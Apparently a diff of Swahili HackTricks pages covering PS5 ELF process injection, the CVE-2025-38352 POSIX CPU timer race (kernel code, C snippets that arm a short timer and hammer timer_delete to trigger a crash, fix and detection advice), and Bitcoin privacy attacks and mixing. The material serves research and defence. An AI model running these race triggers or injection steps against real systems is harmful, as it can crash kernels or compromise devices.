- Baada ya breakpoint na detach, payload inaendelea kwenye thread yake mwenyewe.
## Mchakato kutoka mwanzo hadi mwisho (utekelezaji wa rejea wa PS5)
Tekelezaji unaofanya kazi hutolewa kama server ndogo ya TCP injector pamoja na client script:
- NineS server inasikiliza kwenye TCP 9033 na inapokea header inayojumuisha jina la mchakato lengwa ikifuatiwa na ELF image:
```c
typedef struct __injector_data_t{
char proc_name[MAX_PROC_NAME];
Elf64_Ehdr elf_header;
} injector_data_t;
```
- Matumizi ya mteja wa Python:
```bash
python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>
```
Mfano wa payload ya Hello-world (logs kwa klog):
```c
#include <stdio.h>
#include <unistd.h>
#include <ps5/klog.h>
int main(){
klog_printf("Hello from PID %d\n", getpid());
return 0;
}
```
## Mambo ya vitendo
- Offsets na konstanti (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) ni maalum kwa firmware na lazima zisasishwe kwa kila toleo.
- Ulinzi wa hypervisor unalazimisha maandishi ya kernel ya data-only; usijaribu patch CR0.WP au CR4.SMEP.
- Kumbukumbu ya JIT ni mbadala: baadhi ya michakato huonyesha PS5 JIT APIs za kutenga kurasa executable. The vm_map protection flip yanaondoa uhitaji wa kutegemea mbinu za JIT/mirroring.
- Hakikisha register save/restore yako iko imara; kwa kushindwa, unaweza kusababisha deadlock au crash kwa lengo.
## Zana za umma
- PS5 SDK (dynamic linking, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk
- ELF loader: https://github.com/ps5-payload-dev/elfldr
- Injector server: https://github.com/buzzer-re/NineS/
- Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils
- Related projects: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv
## Marejeo
- [Usermode ELF injection on the PlayStation 5](https://reversing.codes/posts/PlayStation-5-ELF-Injection/)
- [ps5-payload-dev/sdk](https://github.com/ps5-payload-dev/sdk)
- [ps5-payload-dev/elfldr](https://github.com/ps5-payload-dev/elfldr)
- [buzzer-re/NineS](https://github.com/buzzer-re/NineS/)
- [playstation_research_utils](https://github.com/buzzer-re/playstation_research_utils)
- [Mira](https://github.com/OpenOrbis/mira-project)
- [gdbsrv](https://github.com/ps5-payload-dev/gdbsrv)
- [FreeBSD klog reference](https://lists.freebsd.org/pipermail/freebsd-questions/2006-October/134233.html)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,15 +1,15 @@
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}
Ukurasa huu unaandika kuhusu hali ya TOCTOU race katika POSIX CPU timers za Linux/Android ambayo inaweza kuharibu hali ya timer na kusababisha kernel ianguke, na katika baadhi ya mazingira inaweza kuelekezwa kuelekea privilege escalation.
Ukurasa huu unaelezea hali ya TOCTOU race katika Linux/Android POSIX CPU timers inayoweza kuharibu hali ya timer na kusababisha kernel kuporomoka, na katika baadhi ya mazingira inaweza kutumiwa kuelekea privilege escalation.
- Sehemu iliyoharibiwa: kernel/time/posix-cpu-timers.c
- Primitivu: expiry vs deletion race under task exit
- Inategemea usanidi: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
- Affected component: kernel/time/posix-cpu-timers.c
- Primitive: expiry vs deletion race under task exit
- Config sensitive: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
Muhtasari mfupi wa ndani (relevant for exploitation)
- Three CPU clocks drive accounting for timers via cpu_clock_sample():
Muhtasari mfupi wa ndani (muhimu kwa exploitation)
- Saa tatu za CPU zinaendesha uhasibu wa timers kupitia cpu_clock_sample():
- CPUCLOCK_PROF: utime + stime
- CPUCLOCK_VIRT: utime only
- CPUCLOCK_SCHED: task_sched_runtime()
@ -27,7 +27,7 @@ rcu_read_unlock();
return 0;
}
```
- Arming huingiza kwenye per-base timerqueue na inaweza kusasisha next-expiry cache:
- Kuamilisha huingiza kwenye per-base timerqueue na inaweza kusasisha next-expiry cache:
```c
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
@ -37,7 +37,7 @@ if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
```
- Njia ya haraka inazuia usindikaji wa gharama kubwa isipokuwa vipindi vilivyohifadhiwa vya kumalizika vinavyoashiria uwezekano wa kuwashwa:
- Njia ya haraka inazuia usindikaji wenye gharama isipokuwa muda uliowekwa kwenye cache unaonyesha uwezekano wa kutokea:
```c
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
@ -50,7 +50,7 @@ return true;
return false;
}
```
- Ukomeshaji hukusanya timers zilizokwisha muda, huziweka alama kuwa zinapigwa, huzihamisha nje ya foleni; utolewaji halisi umeahirishwa:
- Kuisha hukusanya taimeri zilizokwisha, huzitambulisha kama 'firing', huviondoa kwenye foleni; utoaji halisi unacheleweshwa:
```c
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
@ -68,8 +68,8 @@ list_add_tail(&ctmr->elist, firing);
return U64_MAX;
}
```
Njia mbili za kushughulikia kumalizika
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: kumalizika inacheleweshwa kupitia task_work kwenye kazi iliyolengwa
Njia mbili za usindikaji wa kumalizika
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: kumalizika kunacheleweshwa kupitia task_work kwenye task lengwa
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: kumalizika kunashughulikiwa moja kwa moja katika muktadha wa IRQ
```c
void run_posix_cpu_timers(void) {
@ -90,7 +90,7 @@ lockdep_posixtimer_exit();
}
#endif
```
Katika njia ya muktadha wa IRQ, orodha ya kutekelezwa inashughulikiwa nje ya sighand
Katika IRQ-context path, the firing list inachakatwa nje ya sighand.
```c
static void handle_posix_cpu_timers(struct task_struct *tsk) {
struct k_itimer *timer, *next; unsigned long flags, start;
@ -114,14 +114,14 @@ spin_unlock(&timer->it_lock);
}
}
```
Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit
Sababu ya msingi: TOCTOU kati ya IRQ-time expiry na concurrent deletion under task exit
Preconditions
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
- The target task is exiting but not fully reaped
- Another thread concurrently calls posix_cpu_timer_del() for the same timer
Sequence
Mfuatano
1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
@ -139,20 +139,20 @@ Fix (Android common kernel) and rationale
if (tsk->exit_state)
return;
```
- Hii inazuia kuingia handle_posix_cpu_timers() kwa kazi zinazoondoka, ikiondoa dirisha ambalo posix_cpu_timer_del() ingeweza kuikosa it.cpu.firing na race na expiry processing.
- Hii inazuia kuingia handle_posix_cpu_timers() kwa kazi zinazotoka, ikiondoa dirisha ambapo posix_cpu_timer_del() inaweza kukosa it.cpu.firing na kushindana na usindikaji wa kuisha.
Impact
- Uharibifu wa kumbukumbu ya kernel wa miundo ya timer wakati wa expiry/ufutaji sambamba unaweza kusababisha crashes mara moja (DoS) na ni primitive yenye nguvu kuelekea privilege escalation kutokana na fursa za kufanya manipulation isiyotakikana ya kernel-state.
- Uharibifu wa kumbukumbu ya kernel wa miundo ya timer wakati wa kumalizika/kufutwa kwa wakati mmoja unaweza kusababisha kuanguka mara moja (DoS) na ni primitive yenye nguvu kuelekea privilege escalation kutokana na fursa za kubadilisha kernel-state kiholela.
Triggering the bug (safe, reproducible conditions)
Build/config
- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix.
- Hakikisha CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n na tumia kernel bila marekebisho ya gating ya exit_state.
Runtime strategy
- Target a thread that is about to exit and attach a CPU timer to it (per-thread or process-wide clock):
- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
- Arm with a very short initial expiration and small interval to maximize IRQ-path entries:
- Lenga thread inayokaribia kuondoka na uambatanishe CPU timer kwake (per-thread au process-wide clock):
- Kwa per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
- Kwa process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
- Weka na muda mfupi sana wa kuisha kwa mara ya kwanza na mzunguko mdogo ili kuongeza idadi ya kuingia kwenye njia ya IRQ:
```c
static timer_t t;
static void setup_cpu_timer(void) {
@ -166,17 +166,17 @@ its.it_interval.tv_nsec = 1; // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
```
- Kutoka kwa sibling thread, kufuta timer hiyo hiyo kwa wakati mmoja wakati target thread inapoacha:
- Kutoka kwa sibling thread, kwa wakati mmoja futa timer ile ile wakati target thread exits:
```c
void *deleter(void *arg) {
for (;;) (void)timer_delete(t); // hammer delete in a loop
}
```
- Viongezaji vya race: kiwango cha juu cha scheduler tick, mzigo wa CPU, mizunguko ya mara kwa mara ya thread kuondoka/kuunda tena. Ajali kawaida inaonekana wakati posix_cpu_timer_del() inapopuuza kutambua firing kutokana na kushindwa kwa task lookup/locking mara baada ya unlock_task_sighand().
- Race amplifiers: kiwango cha juu cha scheduler tick rate, mzigo wa CPU, mizunguko ya mara kwa mara ya thread exit/re-create. Ajali kawaida hujitokeza wakati posix_cpu_timer_del() inapoacha kugundua firing kutokana na kushindwa kwa task lookup/locking mara tu baada ya unlock_task_sighand().
Ugundaji na kuimarisha
- Mitigation: tumia exit_state guard; ipendeze kuwezesha CONFIG_POSIX_CPU_TIMERS_TASK_WORK inapowezekana.
- Observability: ongeza tracepoints/WARN_ONCE karibu na unlock_task_sighand()/posix_cpu_timer_del(); ifuatilie angalau mara it.cpu.firing==1 inapoonekana pamoja na kushindwa kwa cpu_timer_task_rcu()/lock_task_sighand(); angalia kutofanana kwa timerqueue karibu na exit ya task.
Detection and hardening
- Kupunguza madhara: tumia exit_state guard; pendelea kuwezesha CONFIG_POSIX_CPU_TIMERS_TASK_WORK inapowezekana.
- Uwezo wa uchunguzi: ongeza tracepoints/WARN_ONCE karibu na unlock_task_sighand()/posix_cpu_timer_del(); tahadharisha wakati it.cpu.firing==1 inapoonekana pamoja na kushindwa cpu_timer_task_rcu()/lock_task_sighand(); angalia kwa inconsistencies za timerqueue karibu na task exit.
Audit hotspots (for reviewers)
- update_process_times() → run_posix_cpu_timers() (IRQ)
@ -185,12 +185,12 @@ Audit hotspots (for reviewers)
- handle_posix_cpu_timers(): drops sighand before firing loop
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
Maelezo kwa exploitation research
- The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Chukulia PoC yoyote kama inayoweza kusababisha kutokuwa imara na endesha tu kwenye emulators/VMs.
Notes for exploitation research
- Tabia iliyofichuliwa ni primitive ya kernel crash yenye uaminifu; kuibadilisha kuwa privilege escalation kwa kawaida kunahitaji overlap ya kudhibitiwa zaidi (object lifetime au write-what-where influence) ambayo iko nje ya muhtasari huu. Tazama PoC yoyote kama inaweza kusababisha kutotulia na itekeleze tu katika emulators/VMs.
## References
## Marejeo
- [Race Against Time in the Kernels Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
- [Android security bulletin September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,101 +1,101 @@
# Blockchain na Sarafu za Kripto
# Blockchain na Sarafu za Crypto
{{#include ../../banners/hacktricks-training.md}}
## Dhana za Msingi
- **Smart Contracts** zinafafanuliwa kama programu zinazotekelezwa kwenye blockchain wakati masharti fulani yanapotimizwa, zikiautomate utekelezaji wa makubaliano bila wahusika wa kati.
- **Decentralized Applications (dApps)** zinajengwa juu ya Smart Contracts, zikiwa na front-end rafiki kwa mtumiaji na back-end iliyo wazi na inayoweza kukaguliwa.
- **Tokens & Coins** zinatofautishwa kwa kuwa coins hutumika kama pesa za kidigitali, wakati tokens zinaonyesha thamani au umiliki katika muktadha maalum.
- **Utility Tokens** zinatoa ufikiaji wa huduma, na **Security Tokens** zinataja umiliki wa mali.
- **DeFi** inamaanisha Decentralized Finance, ikitoa huduma za kifedha bila mamlaka ya kati.
- **DEX** na **DAOs** zinarejelea Majukwaa ya Kubadilishia Yasiyo ya Kati na Mashirika ya Kujiendesha Yasiyo ya Kati, mtawalia.
- **Smart Contracts** zimetamkwa kama programu zinazotekelezwa kwenye blockchain wakati masharti fulani yanapokutana, zikifanya utekelezaji wa makubaliano kwa njia ya otomatiki bila wadhamini.
- **Decentralized Applications (dApps)** zinajengwa juu ya smart contracts, zikikuja na front-end rafiki kwa mtumiaji na back-end inayoonekana na inayoweza kukaguliwa.
- **Tokens & Coins** zinaeleweka tofauti ambapo coins hutumika kama pesa za kidijitali, wakati tokens zinaonyesha thamani au umiliki katika muktadha maalum.
- **Utility Tokens** zinatoa ufikiaji kwa huduma, na **Security Tokens** zinaonyesha umiliki wa mali.
- **DeFi** ina maana ya Decentralized Finance, ikitoa huduma za kifedha bila mamlaka ya kati.
- **DEX** na **DAOs** zinarejelea Decentralized Exchange Platforms na Decentralized Autonomous Organizations, mtawalia.
## Consensus Mechanisms
## Mbinu za Makubaliano
Mekanism za makubaliano zinahakikisha uthibitisho salama na uliokubaliwa wa miamala kwenye blockchain:
Mbinu za makubaliano zinahakikisha uthibitisho wa muamala kwa usalama na kwa makubaliano kwenye blockchain:
- **Proof of Work (PoW)** inategemea nguvu ya kompyuta kwa ajili ya uhakiki wa miamala.
- **Proof of Stake (PoS)** inahitaji validators kumiliki kiasi fulani cha tokens, ikipunguza matumizi ya nishati ukilinganisha na PoW.
- **Proof of Work (PoW)** inategemea nguvu za kompyuta kwa ajili ya uthibitisho wa muamala.
- **Proof of Stake (PoS)** inahitaji validators kushikilia kiasi fulani cha tokens, ikipunguza matumizi ya nishati ikilinganishwa na PoW.
## Misingi ya Bitcoin
### Transactions
### Miamala
Miamala ya Bitcoin inahusisha uhamisho wa fedha kati ya anwani. Miamala inathibitishwa kupitia sahihi za kidigitali, kuhakikisha kwamba mmiliki pekee wa funguo binafsi anaweza kuanzisha uhamisho.
Miamala ya Bitcoin inahusisha uhamishaji wa fedha kati ya anwani. Miamala inathibitishwa kupitia saini za digital, kuhakikisha kuwa mmiliki wa private key pekee ndiye anaweza kuanzisha uhamishaji.
#### Vipengele Muhimu:
- **Multisignature Transactions** zinahitaji sahihi nyingi ili kutoa idhini ya muamala.
- Miamala inaangukia katika **inputs** (chanzo cha fedha), **outputs** (mahali pa kwenda), **fees** (zinazolipwa kwa miners), na **scripts** (kanuni za muamala).
- **Multisignature Transactions** zinahitaji saini nyingi ili kuruhusu muamala.
- Miamala inajumuisha **inputs** (chanzo cha fedha), **outputs** (mahali mafao yataelekezwa), **fees** (zinazolipwa kwa miners), na **scripts** (kanuni za muamala).
### Lightning Network
Inalenga kuboresha scalability ya Bitcoin kwa kuruhusu miamala mingi ndani ya channel, ikitangaza tu hali ya mwisho kwenye blockchain.
Inakusudia kuboresha scalability ya Bitcoin kwa kuruhusu miamala mingi ndani ya channel, ikituma tu hali ya mwisho kwenye blockchain.
## Masuala ya Faragha ya Bitcoin
## Wasiwasi wa Faragha wa Bitcoin
Mashambulizi ya faragha, kama **Common Input Ownership** na **UTXO Change Address Detection**, hunufaika na mifumo ya muamala. Mikakati kama **Mixers** na **CoinJoin** huboresha ufiwa wa siri kwa kuficha viungo vya miamala kati ya watumiaji.
Shambulio za faragha, kama **Common Input Ownership** na **UTXO Change Address Detection**, zinatumia mifumo ya miamala. Mikakati kama **Mixers** na **CoinJoin** huboresha uwasilishaji wa siri kwa kuficha viungo vya miamala kati ya watumiaji.
## Kupata Bitcoins Bila Kutambulika
## Kupata Bitcoins Bila Kujulikana
Njia ni pamoja na biashara kwa pesa taslimu, mining, na kutumia mixers. **CoinJoin** huchanganya miamala mingi ili kufanya ufuatiliaji kuwa mgumu, wakati **PayJoin** inaficha CoinJoins kama miamala ya kawaida kwa faragha iliyoongezeka.
Njia zinajumuisha biashara kwa pesa taslimu, mining, na kutumia mixers. **CoinJoin** inachanganya miamala mingi ili kufanya ufuatiliaji kuwa mgumu, wakati **PayJoin** inaficha CoinJoins kama miamala ya kawaida kwa faragha iliyoongezeka.
# Shambulio za Faragha za Bitcoin
# Muhtasari wa Shambulio za Faragha za Bitcoin
Katika ulimwengu wa Bitcoin, faragha ya miamala na kutokujulikana kwa watumiaji mara nyingi ni vigezo vinavyotatizwa. Hapa kuna muhtasari uliorahisishwa wa baadhi ya mbinu za kawaida ambazo washambuliaji wanaweza kutumia kuvuruga faragha ya Bitcoin.
Katika ulimwengu wa Bitcoin, faragha ya miamala na utambulisho wa watumiaji mara nyingi ni suala la wasiwasi. Hapa ni muhtasari rahisi wa mbinu kadhaa za kawaida kupitia ambazo wadukuzi wanaweza kudhuru faragha ya Bitcoin.
## **Common Input Ownership Assumption**
Kwa ujumla ni nadra kwa inputs kutoka kwa watumiaji tofauti kuchanganywa katika muamala mmoja kutokana na ugumu unaoshirikishwa. Kwa hivyo, **anwani mbili za input katika muamala mmoja mara nyingi huhesabiwa kuwa zinamtambulisha mmiliki mmoja**.
Kwa kawaida ni nadra kwa inputs kutoka kwa watumiaji tofauti kuunganishwa katika muamala mmoja kutokana na ugumu unaohusika. Kwa hivyo, **anwani mbili za input katika muamala huo huo mara nyingi huhesabiwa kuwa za mmiliki mmoja**.
## **UTXO Change Address Detection**
UTXO, au **Unspent Transaction Output**, lazima itumike yote katika muamala. Ikiwa sehemu tu yake inatumwa kwenye anwani nyingine, salio linalobaki hupelekwa kwenye anwani mpya ya change. Waangalizi wanaweza kubaini kwamba anwani hiyo mpya inamtambulisha mtumaji, hivyo kudhoofisha faragha.
UTXO, au **Unspent Transaction Output**, lazima itumike yote katika muamala. Ikiwa ni sehemu tu ya UTXO inatumiwa kutumwa kwa anwani nyingine, kilichobaki kinarudi kwa anwani mpya ya change. Waangalizi wanaweza kudhani anwani hii mpya ni ya mtumaji, hivyo kuharibu faragha.
### Mfano
Ili kupunguza hili, huduma za kuchanganya (mixing) au kutumia anwani nyingi kunaweza kusaidia kuficha umiliki.
Ili kupunguza hili, huduma za Mixers au kutumia anwani nyingi zinaweza kusaidia kuficha umiliki.
## **Social Networks & Forums Exposure**
Watumiaji wakati mwingine hushiriki anwani zao za Bitcoin mtandaoni, na kuifanya iwe rahisi **kuunganisha anwani na mmiliki wake**.
Watumiaji wakati mwingine hushiriki anwani zao za Bitcoin mtandaoni, na kufanya kuwa rahisi **kuunganisha anwani na mmiliki wake**.
## **Transaction Graph Analysis**
Miamala inaweza kuonyeshwa kama grafu, ikifichua muunganiko zinazowezekana kati ya watumiaji kulingana na mtiririko wa fedha.
Miamala inaweza kuonyeshwa kama grafu, ikifichua muunganisho za watumiaji kulingana na mtiririko wa fedha.
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
Heuristic hii inategemea kuchambua miamala yenye inputs na outputs nyingi ili kutabiri ni output gani ni change inayorudi kwa mtumaji.
Heuristic hii inategemea kuchambua miamala yenye inputs na outputs nyingi ili kubahatisha ni output gani ni change inayorejea kwa mtumaji.
### Mfano
```bash
2 btc --> 4 btc
3 btc 1 btc
```
Ikiwa kuongeza inputs zaidi kunafanya change output kuwa kubwa kuliko input yoyote moja, inaweza kuchanganya heuristic.
Ikiwa kuongeza more inputs kunafanya the change output kuwa kubwa kuliko any single input, inaweza kuchanganya the heuristic.
## **Forced Address Reuse**
Washambuliaji wanaweza kutuma kiasi kidogo kwa addresses zilizotumika hapo awali, wakitumai mpokeaji atasanganisha hizi na inputs nyingine katika transactions zijazo, na hivyo kuunganisha addresses pamoja.
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
### Correct Wallet Behavior
Wallets zinapaswa kuepuka kutumia coins zilizopokelewa kwa addresses zilizotumika tayari na zilizo tupu ili kuzuia privacy leak.
Wallets zinapaswa kuepuka kutumia coins zilizopokelewa kwenye anwani zilizotumika tayari na zilizo tupu ili kuzuia this privacy leak.
## **Other Blockchain Analysis Techniques**
- **Exact Payment Amounts:** Transactions bila change zina uwezekano kuwa kati ya addresses mbili zinazomilikiwa na mtumiaji mmoja.
- **Round Numbers:** Namba za mviringo katika transaction zinaonyesha ni payment, ambapo output isiyo-round ina uwezekano kuwa change.
- **Wallet Fingerprinting:** Wallets tofauti zina mifumo ya kipekee ya kuunda transactions, ikimruhusu mchambuzi kutambua software iliyotumika na pengine change address.
- **Amount & Timing Correlations:** Kufichua transaction times au amounts kunaweza kufanya transactions ziweze kufuatiliwa.
- **Exact Payment Amounts:** Miamala isiyo na change ina uwezekano wa kuwa kati ya anwani mbili zinazomilikiwa na mtumiaji mmoja.
- **Round Numbers:** Nambari za mviringo katika muamala zinaashiria kuwa ni malipo, na output isiyekuwa mviringo ina uwezekano wa kuwa the change.
- **Wallet Fingerprinting:** Wallet fingerprinting hutumia mifumo ya kipekee ya uundaji wa miamala tofauti kati ya wallets, kuruhusu wachambuzi kutambua software iliyotumika na pengine anwani ya change.
- **Amount & Timing Correlations:** Kufichua nyakati au kiasi cha miamala kunaweza kufanya miamala kuwa traceable.
## **Traffic Analysis**
Kwa kufuatilia network traffic, washambuliaji wanaweza kuunganisha transactions au blocks na IP addresses, kukiuka faragha ya watumiaji. Hii hasa ni kweli ikiwa entiti inaendesha node nyingi za Bitcoin, ikiongeza uwezo wao wa kufuatilia transactions.
Kwa kuangalia trafiki ya mtandao, attackers wanaweza kuunganisha miamala au blocks na anwani za IP, hivyo kuhatarisha faragha ya mtumiaji. Hii ni kweli hasa ikiwa taasisi inafanya kazi nodes nyingi za Bitcoin, ikiongeza uwezo wake wa kufuatilia miamala.
## More
@ -106,73 +106,81 @@ Kwa orodha kamili ya privacy attacks na defenses, tembelea [Bitcoin Privacy on B
## Ways to Get Bitcoins Anonymously
- **Cash Transactions**: Kupata bitcoin kupitia pesa taslimu.
- **Cash Alternatives**: Kununua gift cards na kuzibadilisha mtandaoni kwa bitcoin.
- **Mining**: Njia yenye faragha zaidi ya kupata bitcoins ni kupitia mining, hasa pale inapo fanywa peke yako kwa sababu mining pools zinaweza kujua IP address ya mchimbaji. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Kivitendo, kuiba bitcoin inaweza kuwa njia nyingine ya kuipata bila kutambulika, ingawa ni kinyume cha sheria na haipendekezwi.
- **Cash Alternatives**: Kununua gift cards na kubadilishana mtandaoni kwa bitcoin.
- **Mining**: The most private method to earn bitcoins ni kupitia mining, hasa pale inafanywa peke yako kwa sababu mining pools zinaweza kujua anwani ya IP ya miner. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Kwa nadharia, kuiba bitcoin kunaweza kuwa njia nyingine ya kuipata bila kutambulika, ingawa ni kinyume cha sheria na haipendekezwi.
## Mixing Services
Kwa kutumia mixing service, mtumiaji anaweza send bitcoins na kupokea different bitcoins kwa kurudishwa, jambo linalofanya kuwa vigumu kufuatilia mmiliki wa awali. Hata hivyo, hii inahitaji kuwa na imani kwa huduma hiyo isitoe logs na kwamba itarudisha bitcoins kwa kweli. Chaguzi nyingine za kuchanganya ni pamoja na Bitcoin casinos.
Kwa kutumia mixing service, mtumiaji anaweza send bitcoins na kupokea different bitcoins kwa kurudishwa, jambo linalofanya iwe vigumu kufuata mmiliki wa awali. Hata hivyo, hii inahitaji kuamini huduma kuwa haitahifadhi logs na kwamba itarudisha bitcoins kwa kweli. Mbinu mbadala za mixing ni pamoja na Bitcoin casinos.
## CoinJoin
CoinJoin inaunganisha multiple transactions kutoka kwa watumiaji tofauti kuwa moja, ikiyafanya iwe ngumu kwa yeyote kuoanisha inputs na outputs. Licha ya ufanisi wake, transactions zenye ukubwa wa kipekee wa input na output bado zinaweza kufuatiliwa.
CoinJoin inachanganya miamala mingi kutoka kwa watumiaji tofauti kuwa muamala mmoja, na kufanya iwe ngumu kwa yeyote kuoanisha inputs na outputs. Licha ya ufanisi wake, miamala yenye sizes za input na output za kipekee bado zinaweza kufuatiliwa.
Mifano ya transactions ambazo huenda zilitumia CoinJoin ni `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` na `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
Mfano wa miamala ambayo yanaweza kuwa yameutumia CoinJoin ni `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` na `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
Kwa habari zaidi, tembelea [CoinJoin](https://coinjoin.io/en). Kwa huduma inayofanana kwenye Ethereum, angalia [Tornado Cash](https://tornado.cash), ambayo inaanonymize transactions kwa fedha kutoka kwa miners.
Kwa taarifa zaidi, tembelea [CoinJoin](https://coinjoin.io/en). Kwa huduma sawa kwenye Ethereum, angalia [Tornado Cash](https://tornado.cash), ambayo hufanya miamala isiyotambulika kwa kutumia fedha kutoka kwa miners.
## PayJoin
Toleo la CoinJoin, **PayJoin** (au P2EP), linaficha transaction kati ya pande mbili (mfano, mteja na mfanyabiashara) kama transaction ya kawaida, bila outputs sawa zinazotambulika za CoinJoin. Hii inafanya iwe ngumu sana kugundua na inaweza kuharibu common-input-ownership heuristic inayotumika na vyombo vinavyofuatilia transactions.
A variant of CoinJoin, PayJoin (or P2EP), inaficha muamala kati ya wahusika wawili (mfano, mteja na muuzaji) kama muamala wa kawaida, bila outputs sawa za kipekee za CoinJoin. Hii inafanya iwe ngumu sana kugundua na inaweza kubatilisha the common-input-ownership heuristic inayotumiwa na entities za transaction surveillance.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
Miamala kama ilivyo hapo juu zinaweza kuwa PayJoin, zikiboresha faragha huku zikiwa hazitambuliki kwa miamala ya bitcoin ya kawaida.
Miamala kama ile hapo juu inaweza kuwa PayJoin, ikiboresha faragha huku ikiendelea kuwa haionekani tofauti na miamala ya kawaida ya bitcoin.
**Matumizi ya PayJoin yanaweza kuathiri kwa kiasi kikubwa mbinu za jadi za ufuatiliaji**, na kuifanya kuwa maendeleo yenye matumaini katika harakati za faragha ya miamala.
**Matumizi ya PayJoin yanaweza kuvuruga kwa kiasi kikubwa mbinu za jadi za ufuatiliaji**, na kuifanya kuwa maendeleo yenye matumaini katika kutafuta faragha ya miamala.
# Mbinu Bora za Faragha katika Sarafu za Kidijitali
# Mbinu Bora za Faragha kwa Sarafu za Crypto
## **Wallet Synchronization Techniques**
Ili kudumisha faragha na usalama, kusawazisha wallets na blockchain ni muhimu. Mbinu mbili zinajitokeza:
- **Full node**: Kwa kupakua blockchain nzima, full node inahakikisha faragha ya juu kabisa. Miamala yote iliyofanywa huhifadhiwa kwa ndani, na hivyo kuifanya iwe haiwezekani kwa maadui kubaini ni miamala gani au anwani zipi mtumiaji anavutiwa nazo.
- **Client-side block filtering**: Mbinu hii inajumuisha kuunda filters kwa kila block katika blockchain, ikimruhusu wallet kutambua miamala zinazohusiana bila kufichua maslahi maalum kwa wachunguzi wa mtandao. Lightweight wallets hupakua filters hizi, zikichukua full blocks tu wakati kuna mechi na anwani za mtumiaji.
- **Full node**: Kwa kupakua blockchain nzima, full node inahakikisha faragha ya juu kabisa. Miamala yote iliyofanywa huhifadhiwa kwa ndani, na kuifanya isiwezekane kwa adui kutambua ni miamala au anwani gani mtumiaji anavutiwa nazo.
- **Client-side block filtering**: Mbinu hii inahusisha kuunda vichujio kwa kila block katika blockchain, ikiruhusu wallets kutambua miamala inayohusika bila kufichua maslahi maalum kwa wachunguzi wa mtandao. Lightweight wallets hupakua vichujio hivi, na kuchukua block kamili tu pale patapo kuwa na mechi na anwani za mtumiaji.
## **Utilizing Tor for Anonymity**
Kwa kuwa Bitcoin inaendesha kwenye mtandao wa peer-to-peer, inashauriwa kutumia Tor kuficha anwani yako ya IP, hivyo kuongeza faragha wakati wa kuingiliana na mtandao.
Kutokana na Bitcoin kufanya kazi kwenye mtandao wa peer-to-peer, inashauriwa kutumia Tor kuficha anwani yako ya IP, kuboresha faragha wakati wa kuingiliana na mtandao.
## **Preventing Address Reuse**
Ili kulinda faragha, ni muhimu kutumia anwani mpya kwa kila muamala. Kutumia anwani tena kunaweza kudhoofisha faragha kwa kuunganisha miamala na kiumbe kimoja. Wallets za kisasa zinahimiza kuepuka matumizi ya anwani tena kwa muundo wao.
Ili kulinda faragha, ni muhimu kutumia anwani mpya kwa kila muamala. Kutumia tena anwani kunaweza kuhatarisha faragha kwa kuunganisha miamala na kiumbe kimoja. Wallets za kisasa zinachochea kuepuka matumizi ya anwani ya zamani kupitia muundo wao.
## **Strategies for Transaction Privacy**
- **Multiple transactions**: Kugawa malipo katika miamala kadhaa kunaweza kuficha kiasi cha muamala, kuzuia mashambulizi ya faragha.
- **Change avoidance**: Kuchagua miamala isiyohitaji change outputs kunaboresha faragha kwa kuvuruga mbinu za kugundua change.
